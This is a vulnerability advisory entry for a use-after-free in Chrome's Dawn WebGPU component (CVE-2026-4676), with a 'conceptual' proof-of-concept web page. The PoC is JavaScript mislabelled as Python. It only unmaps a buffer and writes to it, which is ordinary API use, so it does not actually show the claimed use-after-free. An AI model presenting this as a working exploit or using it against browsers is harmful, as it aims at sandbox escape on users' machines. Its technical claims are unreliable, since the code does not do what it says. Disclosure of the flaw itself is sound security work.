Use after free in Dawn in Google Chrome prior to 146.0.7680.165 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 146.0.7680.165
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-4676 (Conceptual)
This script attempts to trigger a Use After Free in the Dawn (WebGPU) component.
Note: Actual exploitation requires precise heap grooming and ROP chain setup.
-->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-4676 PoC</title>
</head>
<body>
<script>
async function triggerUAF() {
if (!navigator.gpu) {
console.log("WebGPU not supported.");
return;
}
const adapter = await navigator.gpu.requestAdapter();
const device = await adapter.requestDevice();
console.log("[+] Creating buffer...");
// Create a buffer mapped at creation to simulate the vulnerable object
const buffer = device.createBuffer({
mappedAtCreation: true,
size: 1024,
usage: GPUBufferUsage.MAP_READ | GPUBufferUsage.COPY_DST
});
// Simulate the logic that leads to UAF
// In a real scenario, specific Dawn API calls would corrupt the internal state
const arrayBuffer = buffer.getMappedRange();
console.log("[+] Unmapping buffer to trigger free logic...");
buffer.unmap();
// The vulnerability lies here: trying to access or manipulate the buffer
// after it has been freed or its state invalidated by subsequent GPU calls.
try {
// This operation attempts to use the freed/invalidated object
device.queue.writeBuffer(buffer, 0, new Uint8Array(1024));
console.log("[-] Exploit failed: No crash detected.");
} catch (e) {
console.log("[!] Exception caught: " + e.message);
}
}
triggerUAF();
</script>
</body>
</html>